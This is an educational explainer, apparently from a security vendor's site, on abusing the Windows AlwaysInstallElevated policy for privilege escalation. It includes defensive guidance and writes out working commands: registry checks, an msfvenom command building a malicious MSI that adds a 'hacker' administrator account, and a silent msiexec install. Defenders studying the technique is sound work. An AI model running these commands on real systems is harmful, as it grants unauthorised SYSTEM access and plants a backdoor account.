What is AlwaysInstallElevated?

AlwaysInstallElevated is a Windows policy setting that, when enabled, lets any user install Windows Installer (MSI) packages with SYSTEM privileges. It is meant to let standard users install approved software, but if both the machine and user registry keys are set to 1, an attacker simply builds a malicious MSI and installs it to get a SYSTEM shell. It is one of the fastest Windows escalations when present, and the check is two registry queries.

HOW IT WORKS

01 The abuse and payload

The attacker checks the two registry keys, then installs a crafted MSI:

- Check both keys (both must be 1): `reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` and the same under `HKCU`.
- Build a malicious MSI: `msfvenom -p windows/x64/exec CMD="net user hacker P@ss123! /add && net localgroup administrators hacker /add" -f msi -o evil.msi`
- Install it: `msiexec /quiet /qn /i evil.msi`
- The actions run as SYSTEM, creating an admin account or a shell.

Documented technique shown for defenders.

> BOTH KEYS, BOTH 1
>
> *AlwaysInstallElevated is only exploitable when it is set to 1 in both HKLM and HKCU. If either is 0 or unset, MSIs do not install elevated.*

HOW TO DEFEND

- Do not enable AlwaysInstallElevated. It is effectively a SYSTEM-for-any-user switch.
- Audit both registry keys and set them to 0 (or unset) across the estate via Group Policy.
- Use proper software-deployment tooling that installs with controlled privileges instead.
- Apply application control (allow-listing) so unexpected MSIs cannot run.
- Monitor for msiexec installing packages from user-writable locations.

SOURCES

[1] Microsoft: Privilege Constants (Windows)

[2] MITRE ATT&CK: Privilege Escalation (TA0004)

[3] NIST SP 800-115 Technical Guide to Security Testing

Find the privilege-escalation paths before an attacker does.

securelayer7.net/learn/privilege-escalation/what-is-alwaysinstallelevated

Open online